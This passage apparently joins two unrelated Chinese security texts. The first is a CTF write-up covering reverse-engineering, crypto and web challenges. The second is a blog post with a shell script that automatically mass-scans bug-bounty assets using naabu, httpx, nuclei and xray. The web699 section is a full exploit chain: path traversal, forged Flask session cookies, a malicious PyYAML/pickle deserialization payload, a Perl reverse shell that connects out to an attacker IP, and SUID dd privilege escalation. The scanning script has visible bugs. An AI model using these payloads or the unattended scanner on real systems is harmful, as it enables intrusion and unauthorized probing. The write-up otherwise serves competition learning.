YI3z8ZxOKhfLmTPC(CuSkl) if mvOxK != nil { YJCya = mvOxK() } if YJCya != "" && vNvUO != "" { fmt.Printf("flag{%s%s}\n", vNvUO, YJCya) } } flag分为两段,第一段为vNvUO,第二段为YJCya 第一段函数 func GwSqNHQ7dPXpIG64(cJPTR string) string { YrXQd := hex.EncodeToString([]byte(cJPTR)) return fmt.Sprintf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", YrXQd[22], YrXQd[19], YrXQd[20], YrXQd[21], YrXQd[28], YrXQd[10], YrXQd[20], YrXQd[7], YrXQd[29], YrXQd[14], YrXQd[0], YrXQd[18], YrXQd[3], YrXQd[24], YrXQd[27], YrXQd[31]) } 第一段exp YrXQd=bytes.hex('ZlXDJkH3OZN4Mayd'.encode()) print(YrXQd[22], YrXQd[19], YrXQd[20], YrXQd[21], YrXQd[28], YrXQd[10], YrXQd[20], YrXQd[7], YrXQd[29], YrXQd[14], YrXQd[0], YrXQd[18], YrXQd[3], YrXQd[24], YrXQd[27], YrXQd[31],sep='') 第二段涉及函数 这一块是返回函数,要去调用UhnCm82SDGE0zLYO func UhnCm82SDGE0zLYO() string { SythK := []byte{ 159, 141, 72, 106, 196, 62, 16, 205, 170, 159, 36, 232, 125, 239, 208, 3} var Vw2mJ, Nij87, zVclR string return cHZv5op8rOmlAkb6(SythK, Vw2mJ, Nij87, zVclR) } func cHZv5op8rOmlAkb6(HIGXt []byte, VGvny string, ZOkKV string, eU0uD string) string { QTk4l := make([]byte, 20) Ek08m := [16]byte{ 167, 238, 45, 89, 160, 95, 34, 175, 158, 169, 20, 217, 68, 137, 231, 54} for i := 0; i < 16; i++ { QTk4l[i] += Ek08m[i] ^ HIGXt[i] } return string(QTk4l) } 其中后面几个Vw2mJ, Nij87, zVcl,参数为无效参数 exp: QTk4l=[0]*16 SythK= [159, 141, 72, 106, 196, 62, 16, 205, 170, 159, 36, 232, 125, 239, 208, 3] Ek08m=[167, 238, 45, 89, 160, 95, 34, 175, 158, 169, 20, 217, 68, 137, 231, 54] for i in range(16): QTk4l[i] = chr(Ek08m[i] ^ SythK[i]) for i in QTk4l: print(i,end='') 非预期,自己的go环境运行输入第一个会直接退出,队友的运行直接可以得到flag,离谱 flag: flag{3a4e76449355c4148ce3da2b46019f75} re694 被魔改了,将FUK修改成UPX,正常脱壳 然后进行分析 IDA打开,找关键字符串,再定位到关键函数 两个关键的判断函数,第一个进去发现判断是否为20长,然后再输入的值异或上0x66 第二个判断函数,是将第一个判断后的值加上10再异或0x50,再和dword_14001D000里的数比较 即是$flag = ((enc \oplus 0x50)-10)\oplus0x66$ x = ['4B', '48', '79', '13', '45', '30', '5C', '49', '5A', '79', '13', '70', '6D', '78', '13', '6F', '48', '5D', '64', '64'] for i in x: print(chr(((int(i, 16) ^ 0x50) - 10) ^ 0x66), end='') flag: flag{why_m0dify_pUx_SheLL} CRYPTO crypto091 根据描述和其中提到的论文,Hash值为电话号码的sha256 170号段首批放号的联通号码以1709开头,直接爆破即可: x = 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc' import hashlib n = b'861709' s = list('0123456789'.strip()) import itertools for i in itertools.product(s,repeat = 7): d = ''.join(i).encode() g = n+d if hashlib.sha256(g).hexdigest() == x: print(g) break # b'8617091733716' 或者 crypto162 from secret import flag from hashlib import md5,sha256 from Crypto.Cipher import AES cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]] defcal(i,cof): if i < 3: return i+1 else: return cof[2]*cal(i-3,cof)+cof[1]*cal(i-2,cof)+cof[0]*cal(i-1,cof) s = 0 for i inrange(100): s += cal(200000,cof_t[i]) print(s) s = str(s)[-2000:-1000] key = md5(s).hexdigest().decode('hex') check = sha256(key).hexdigest() verify = '2cf44ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec3107881308156069452a6d5' assert(check == verify) aes = AES.new(key,AES.MODE_ECB) data = flag + (16-len(flag)%16)*"\x00" print (aes.encrypt(data).encode('hex')) #4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87 根据题目提示,想到将递归公式转换成矩阵(参考 线性代数求解递推形式数列的通项公式_wdq347的博客-CSDN博客) from hashlib import md5, sha256 from Crypto.Cipher import AES cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]] def cal(i, cof): if i < 3: return i + 1 else: return cof[2] * cal(i - 3, cof) + cof[1] * cal(i - 2, cof) + cof[0] * cal(i - 1, cof) def cal_m(i, cof): M = Matrix(ZZ, [[cof[0], cof[1], cof[2]], [1, 0, 0], [0, 1, 0]]) b = vector(ZZ, [cal(5, cof), cal(4, cof), cal(3, cof)]) b = M ^ (i - 5) * b return int(b[0]) s = 0 for i in range(100): s += cal_m(200000, cof_t[i]) s = str(s)[-2000:-1000] key = bytes.fromhex(md5(s.encode()).hexdigest()) check = sha256(key).hexdigest() verify = '2cf44ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec3107881308156069452a6d5' assert (check == verify) aes = AES.new(key, AES.MODE_ECB) # 4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87 c = '4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87' c = bytes.fromhex(c) print(aes.decrypt(c)) # b'flag{519427b3-d104-4c34-a29d-5a7c128031ff}\x00\x00\x00\x00\x00\x00' 或者 #sagemath cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]] B = [[3],[2],[1]] B = matrix(B) s = 0 for i inrange(100): A = [cof_t[i],[1,0,0],[0,1,0]] A = matrix(A) C = A^(200000-2)*B s += C[0][0] print(str(s)[-2000:-1000]) #python from hashlib import md5,sha256 from binascii import unhexlify from Crypto.Cipher import AES s = '8365222366127410597598169954399481033882921410074214649102398062373189165630613993923060190128768377015697889610969869189338768501949778819512483009804114510646333513147157016729806311717181191848898389803672575716843797638777123435881498143998689577186959772296072473194533856870919617472555638920296793205581043222881816090693269730028856738454951305575065708823347157677411074157254186955326531403441609073128679935513392779152628590893913048822608749327034655805831509883357484164977115164240733564895591006693108254829407400850621646091808483228634435805213269066211974452289769022399418497986464430356041737753404266468993201044272042844144895601296459104534111416147795404108912440106970848660340526207025880755825643455720871621993251258247195860214917957713359490024807893442884343732717743882154397539800059579470352302688717025991780505564794824908605015195865226780305658376169579983423732703921876787723921599023795922881747318116849413935343800909756656082327558085457335537828343666748' key = unhexlify(md5(s.encode()).hexdigest()) print(key) check = sha256(key).hexdigest() verify = '2cf44ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec3107881308156069452a6d5' assert check == verify aes = AES.new(key, AES.MODE_ECB) cipher = unhexlify('4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87') print(aes.decrypt(cipher)) crypto405 from Crypto.Util.number import * from random import randrange from grassfield import flag p = getPrime(16) k = [randrange(1,p) for i inrange(5)] for i inrange(len(flag)): grasshopper = flag[i] for j inrange(5): k[j] = grasshopper = grasshopper * k[j] % p print('Grasshopper#'+str(i).zfill(2)+':'+hex(grasshopper)[2:].zfill(4)) 给了42个,不过每组k都是有一定的规律 42长可以猜测flag 的形式为flag{uuid4} 那么前面5个grasshopper就是已知的,列出开头五组的式子 flag = b'flag{' var('k0 k1 k2 k3 k4') k = [k0, k1, k2, k3, k4] res = [] for i in range(len(flag)): grasshopper = flag[i] for j in range(5): k[j] = grasshopper = grasshopper * k[j] res.append(grasshopper) print(res) 这里就有五组等式,本来想着通过z3直接求,不过很遗憾不行 利用好flag的格式进行分析。 将前5个grasshopper的产生过程列出公式来,有: 知道密钥k,通过g_i*invert(k0*k1*k2*k3*k4,p)%p求得明文字符,然后重复一遍加密过程可以得到下一轮的密钥k。 p的值可以进行爆破。 代码如下: from gmpy2 import invert,gcd #利用flag格式flag{ } know = b'flag{' #爆破p g = [0x2066, 0xa222, 0xcbb1, 0xdbb4, 0xdeb4, 0xb1c5, 0x33a4, 0xc051, 0x3b79, 0x6bf8, 0x2131, 0x2c40, 0x91ba, 0x7b44, 0x5f25, 0x0208, 0x7edb, 0x62b5, 0xcec5, 0x5ab3, 0x3c46, 0xc272, 0x714b, 0x9e0b, 0x48ee, 0x44cc, 0x05a0, 0x3da3, 0x11b1, 0x259f, 0x899d, 0xa130, 0xe58f, 0x23f3, 0x5829, 0x6beb, 0x3681, 0x0054, 0xa189, 0x2765, 0xc63d, 0xbc68] maxg = max(g) for p inrange(maxg+1, 2**16): if gcd(know[0], p) == 1and gcd(know[1], p) == 1and gcd(know[2], p) == 1and gcd(know[3], p) == 1and gcd(know[4], p) == 1: g04 = g[0] g14 = g[1] if gcd(g04,p) != 1: continue g13 = g14 * invert(g04, p) % p g24 = g[2] if gcd(g14,p) != 1or gcd(g13,p) != 1: continue g23 = g24 * invert(g14, p) % p g22 = g23 * invert(g13, p) % p g34 = g[3] if gcd(g24,p) != 1or gcd(g23,p) != 1or gcd(g22,p) != 1: continue g33 = g34 * invert(g24, p) % p g32 = g33 * invert(g23, p) % p g31 = g32 * invert(g22, p) % p g44 = g[4] if gcd(g34,p) != 1or gcd(g33,p) != 1or gcd(g32,p) != 1or gcd(g31,p) != 1: continue g43 = g44 * invert(g34, p) % p g42 = g43 * invert(g33, p) % p g41 = g42 * invert(g32, p) % p g40 = g41 * invert(g31, p) % p k = [g40, g41, g42, g43, g44] flag = '' for i inrange(5,42): _k = k[0]*k[1]*k[2]*k[3]*k[4] if gcd(_k, p) != 1: break alp = g[i] * invert(_k, p) % p flag += chr(alp) for j inrange(5): k[j] = alp = alp * k[j] % p if flag.endswith('}'): print(f'p = {p}') print(flag.encode()) #flag{749d39d4-78db-4c55-b4ff-bca873d0f18e} web web699 def download(file): if session.get('updir'): basedir = session.get('updir') try: path = os.path.join(basedir, file).replace('../', '') if os.path.isfile(path): return send_file(path) else: return path except: return response("Failed.", 500) 利用双写绕过 ../ payload: http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888/....//....//....//....//....//....//....//etc/hosts 拿到hosts文件,得到secret_key : engine-1 # Kubernetes-managed hosts file. 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet fe00::0 ip6-mcastprefix fe00::1 ip6-allnodes fe00::2 ip6-allrouters 10.6.119.171 engine-1 根据源代码,把Guest改成Administrator即可开启上传权限,更改updir可以改变上传文件的目录 └─$ python3 flask_session_cookie_manager3.py decode -s "engine-1" -c "eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywiv7A.OS3IHqaOzrmCRx50l1eTUJh2Qrg" {'updir': 'static/uploads/4b3cf1ffc9224f4d830c5a29db854d15', 'user': 'Guest'} 更改session上传文件 首先上传一个普通rar文件测试(不能被check) 文件名:fff.rar POST /upload HTTP/1.1 Host: eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888 Content-Length: 658 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycWHiBd1u820grB2v User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.30 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888/ Accept-Encoding: gzip, deflate Accept-Language: zh,en-US;q=0.9,en;q=0.8 Cookie: UM_distinctid=17fafc501cb1894-00e2da0225aa6a-13495c7e-1fa400-17fafc501cc15bb; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1659141632,1661235002; session=eyJ1cGRpciI6Ii4vIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwiwRw.zCEEWeUKe6MANxewBQvv86cfTpE Connection: close ------WebKitFormBoundarycWHiBd1u820grB2v Content-Disposition: form-data; name="file"; filename="fff.rar" Content-Type: application/vnd.rar Rar!óáëß%ß$äF,Jcpasswd !AcØfÝËPd3#?VMç 6[¢ù$I²éºmÓo¾`:¨6y°û$«ðÉKà¼Dj9I¦Ó9&I¤±'÷Ù·>âc.ÛÃlCµ-¥ÔÁ:Uc)#üp"/sPá\Ä-²ÿ>#÷ö;¹2tH([ºZæÝuiÓ ffGY²9è(M)NJëÈrbþÏ$©:d8BFä&jT6Uúí¾C¢ëX¤gϪ±[¬pb8UkVò®6Xæ^|°ß1PcÉççöµ84Ï/bÊo<'MÉ/!7ëÑĹ·3}ÞTô,è¶8vÏWS®$ÖMì:èÔ^BZhS_ ió#*hôVMÂ9Þo.XÖáæzaó¾uZÆÜZßÇB¬¹3Øïë®JÄæ[¶JÉÇϳÏjà5Ò^|¦ÒßqÅÿô ®ú/û¡K,Røþ¦wVQ ------WebKitFormBoundarycWHiBd1u820grB2v-- 根据代码,上传文件成功后会在fileinfo文件夹内生成一个yaml文件,并在 /display 路由下加载该yaml文件,那么如果更改 updir 的值为网站主目录,然后把rar文件命名为 fileinfo.rar。 这样该rar文件内的内容就会被直接解压到 fileinfo 目录内,那么就有机会覆盖其他rar文件对应的yaml文件,通过复写yaml文件导致任意命令执行。 PyYAML 反序列化 首先制作恶意的rar文件 yaml文件 由于题目里有过滤条件,通过直接加载yaml文件进行命令执行较为困难,所以同步上传一个pickle反序列化文件,通过yaml加载pickle文件进行命令执行。payload: filename: aaa.rar files: - !!python/object/new:bytes - !!python/object/new:map - !!python/name:eval - ["__import__\x28'pickle'\x29.load\x28open\x28'fileinfo/pik','rb'\x29\x29"] 同时将该yaml文件命名为9d2718721006ee787d641f526da07952.yaml,文件名为第一次上传的正常文件的文件名的md5值,这样访问那个正常rar文件时就可以触发该恶意的yaml文件。 恶意pickle反序列化文件 手写opcode,payload: cos system (S'perl -e \'use Socket;$i="ip";$p=7001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' tR. 上传打包好的rar文件 将pickle 文件也打包进去 rar a fileinfo.rar 9d2718721006ee787d641f526da07952.yaml pik 在 ./ 目录下上传 fileinfo.rar 文件 更改session, payload: └─$ python3 flask_session_cookie_manager3.py encode -s "engine-1" -t "{'updir': './', 'user': 'Administrator'}" eyJ1cGRpciI6Ii4vIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwiwRw.zCEEWeUKe6MANxewBQvv86cfTp 上传之后重新访问fff.rar 文件,在服务器端监听收到反弹的shell Suid提权 发现没有访问flag的权限,全局搜索suid权限命令进行提权访问,发现dd命令可以利用 dd 提权法 :https://www.cnblogs.com/zlgxzswjy/p/12746160.html 成功获得flag 来源连接: https://mp.weixin.qq.com/s/OvJWhxdXkLauPUggRFyctA https://mp.weixin.qq.com/s/axrJjDiFalP-NqbtDaPD_Q https://gal2xy.github.io/2022/08/26/2022%E7%AC%AC%E4%B8%89%E5%B1%8A%E7%BD%91%E9%BC%8E%E6%9D%AF%E9%9D%92%E9%BE%99%E7%BB%84/
-
打造全自动漏洞赏金扫描工具
0x01 说明本次用到的平台是:https://chaos.projectdiscovery.io/,该平台收集国外各大漏洞赏金平台,目前拥有资产规模大概在1600 0000~1800 0000,很可怕的数量 ,并且每小时都在增加或减少,对接非常多的第三方自建赏金平台,这比我们自己去收集某个平台会来的多,挖到的概率也更大。 0x02 自动化方案流程使用脚本去获取projectdiscovery平台的所有资产,资产侦察与收集就交给projectdiscovery了把下载的资产对比上次Master domain数据,判断当前是否有新增资产出现,如果没有就结束 ,就等待下一次循环如果有,就把新增的资产提取出来,创建临时文件,并把新资产加入到Masterdomain把新增资产使用naabu 进行端口扫描,把开放的端口使用httpx来验证,提取http存活资产把http存活资产送往nuclei进行漏洞扫描,同时也送往Xray,默认使用Xray的基础爬虫功能扫描常见漏洞Xray的扫描结果保存成xray-new-$(date +%F-%T).html,也可以同时添加webhook模式推送nuclei漏洞扫描结果用notify实时推送、 nuclei与xray都扫描结束后 ,等待下一次循环,这一切都是自动去执行 0x03 准备工作先安装这些工具,并设置好软链接,能全局使用,这些工具安装很简单,不再阐述,github也有 安装教程 Centos7+ 64 位 配置 4H 4G起 【服务器一台】chaospy【资产侦查、资产下载】 https://github.com/PhotonBolt/chaospyunzip 【解压】anew 【过滤重复】 https://github.com/tomnomnom/anewnaabu【端口扫描】 https://github.com/projectdiscovery/naabuhttpx 【存活检测】 https://github.com/projectdiscovery/httpxnuclei 【漏洞扫描】 https://nuclei.projectdiscovery.io/Xray 【漏洞扫描】 https://download.xray.cool/python 【微信通知】notify 【漏洞通知】 notify比较成熟的推送方案服务器推荐vultr,可以用我的推荐链接:https://www.vultr.com/?ref=9059107-8H 0x04 关于notify通知相关配置notify安装与配置:https://github.com/projectdiscovery/notify 配置文件(没有就创建这个文件):/root/.config/notify/provider-config.yaml 修改通知配置 即可,比如我使用的通知是电报 和 邮件(配置任意一个即可) 测试效果 subfinder -d hackerone.com | notify -provider telegram 我这是设置是电报通知,执行结束后,如果能收到结果,那通知这块就没问题,可以下一步了 0x05 部署过程请确保上面提到的工具都已安装好,现在我们来构造一个sh脚本文件,这个脚本就把上面说的流 程都做了一遍 命名为: wadong.sh , 添加执行权限: chmod +x wadong.sh wadong.sh 脚本主要 完成 资产侦察资产收集、端口扫描,去重检测,存活探测,漏洞扫描,结果通知的功能 脚本: #!/bin/bash # 使用chaospy,只下载有赏金资产数据 #python3 chaospy.py --download-hackerone #python3 chaospy.py --download-rewards #下载所有赏金资产 #./chaospy.py --download-bugcrowd 下载 BugCrowd 资产 #./chaospy.py --download-hackerone 下载 Hackerone 资产 #./chaospy.py --download-intigriti 下载 Intigriti 资产 #./chaospy.py --download-external 下载自托管资产 #./chaospy.py --download-swags 下载程序 Swags 资产 #./chaospy.py --download-rewards 下载有奖励的资产 #./chaospy.py --download-norewards 下载没有奖励的资产 #对下载的进行解压,使用awk把结果与上次的做对比,检测是否有新增 if ls | grep ".zip" &> /dev/null; then unzip '*.zip' &> /dev/null cat *.txt >> newdomains.md rm -f *.txt awk 'NR==FNR{lines[$0];next} !($0 in lines)' alltargets.txtls newdomains.md >> domains.txtls rm -f newdomains.md ################################################################################## 发送新增资产手机通知 echo "资产侦察结束 $(date +%F-%T)" | notify -silent -provider telegram echo "找到新域 $(wc -l < domains.txtls) 个" | notify -silent -provider telegram ################################################################################## 更新nuclei漏洞扫描模板 nuclei -silent -update nuclei -silent -ut rm -f *.zip else echo "没有找到新程序" | notify -silent -provider telegram fi if [ -s domains.txtls ];then echo "开始使用 naabu 对新增资产端口扫描" | notify -silent -provider telegram fine_line=$(cat domains.txtls | wc -l ) num=1 K=10000 j=true F=0 while $j do echo $fine_line if [ $num -lt $fine_line ];then m=$(($num+$K)) sed -n ''$num','$m'p' domains.txtls >> domaint.txtls ((num=num+$m)) naabu -stats -l domaint.txtls -p 80,443,8080,2053,2087,2096,8443,2083,2086,2095,8880,2052,2082,3443,8791,8887,8888,444,9443,2443,10000,10001,8082,8444,20000,8081,8445,8446,8447 -silent -o open-domain.txtls &> /dev/null | echo "端口扫描" echo "端口扫描结束,开始使用httpx探测存活" | notify -silent -provider telegram httpx -silent -stats -l open-domain.txtls -fl 0 -mc 200,302,403,404,204,303,400,401 -o newurls.txtls &> /dev/null echo "httpx共找到存活资产 $(wc -l < newurls.txtls) 个" | notify -silent -provider telegram cat newurls.txtls >new-active-$(date +%F-%T).txt #保存新增资产记录 cat domaint.txtls >> alltargets.txtls echo "已将存活资产存在加入到历史缓存 $(date +%F-%T)" | notify -silent -provider telegram echo "开始使用 nuclei 对新增资产进行漏洞扫描" | notify -silent -provider telegram cat newurls.txtls | nuclei -rl 300 -bs 35 -c 30 -mhe 10 -ni -o res-all-vulnerability-results.txt -stats -silent -severity critical,medium,high,low | notify -silent -provider telegram echo "nuclei 漏洞扫描结束" | notify -silent -provider telegram #使用xray扫描,记得配好webhook,不配就删掉这项,保存成文件也可以 #echo "开始使用 xray 对新增资产进行漏洞扫描" | notify -silent -provider telegram #xray_linux_amd64 webscan --url-file newurls.txtls --webhook-output http://www.qq.com/webhook --html-output xray-new-$(date +%F-%T).html #echo "xray 漏洞扫描结束,xray漏洞报告请上服务器查看" | notify -silent -provider telegram rm -f open-domain.txtls rm -f domaint.txtls rm -f newurls.txtls else echo "ssss" j = false sed -n ''$num','$find_line'p' domains.txtls domaint.txtls naabu -stats -l domaint.txtls -p 80,443,8080,2053,2087,2096,8443,2083,2086,2095,8880,2052,2082,3443,8791,8887,8888,444,9443,2443,10000,10001,8082,8444,20000,8081,8445,8446,8447 -silent -o open-domain.txtls &> /dev/null | echo "端口扫描" echo "端口扫描结束,开始使用httpx探测存活" | notify -silent -provider telegram httpx -silent -stats -l open-domain.txtls -fl 0 -mc 200,302,403,404,204,303,400,401 -o newurls.txtls &> /dev/null echo "httpx共找到存活资产 $(wc -l < newurls.txtls) 个" | notify -silent -provider telegram cat newurls.txtls >new-active-$(date +%F-%T).txt #保存新增资产记录 cat domaint.txtls >> alltargets.txtls echo "已将存活资产存在加入到历史缓存 $(date +%F-%T)" | notify -silent -provider telegram echo "开始使用 nuclei 对新增资产进行漏洞扫描" | notify -silent -provider telegram cat newurls.txtls | nuclei -rl 300 -bs 35 -c 30 -mhe 10 -ni -o res-all-vulnerability-results.txt -stats -silent -severity critical,medium,high,low | notify -silent -provider telegram echo "nuclei 漏洞扫描结束" | notify -silent -provider telegram #使用xray扫描,记得配好webhook,不配就删掉这项,保存成文件也可以 #echo "开始使用 xray 对新增资产进行漏洞扫描" | notify -silent -provider telegram #xray_linux_amd64 webscan --url-file newurls.txtls --webhook-output http://www.qq.com/webhook --html-output xray-new-$(date +%F-%T).html #echo "xray 漏洞扫描结束,xray漏洞报告请上服务器查看" | notify -silent -provider telegram rm -f open-domain.txtls rm -f domaint.txtls rm -f newurls.txtls fi done rm -f domains.txtls else ################################################################################## Send result to notify if no new domains found echo "没有新域 $(date +%F-%T)" | notify -silent -provider telegram fi 再构建一个first.sh文件,这个脚本只执行一次就行,后续也就用不到了, 主要用于第一次产生历 史缓存域,标记为旧资产 添加执行权限: chmod +x first.sh #!/bin/bash # 使用chaospy,只下载有赏金资产数据 ./chaospy.py --download-new ./chaospy.py --download-rewards #对下载的进行解压, if ls | grep ".zip" &> /dev/null; then unzip '*.zip' &> /dev/null rm -f alltargets.txtls cat *.txt >> alltargets.txtls rm -f *.txt rm -f *.zip echo "找到域 $(wc -l < alltargets.txtls) 个,已保存成缓存文件alltargets.txt" fi0x06 开始赏金自动化在确保以上工具都安装好的情况下 1、执行 first.sh 脚本,让本地产生足够多的缓存域名,标记为旧资产 ./first.sh2、循环执行bbautomation.sh脚本,sleep 3600秒 就是每小时一次,也就是脚本 xunhuan.sh: #!/bin/bashwhile true; do ./wadong.sh;sleep 3600; 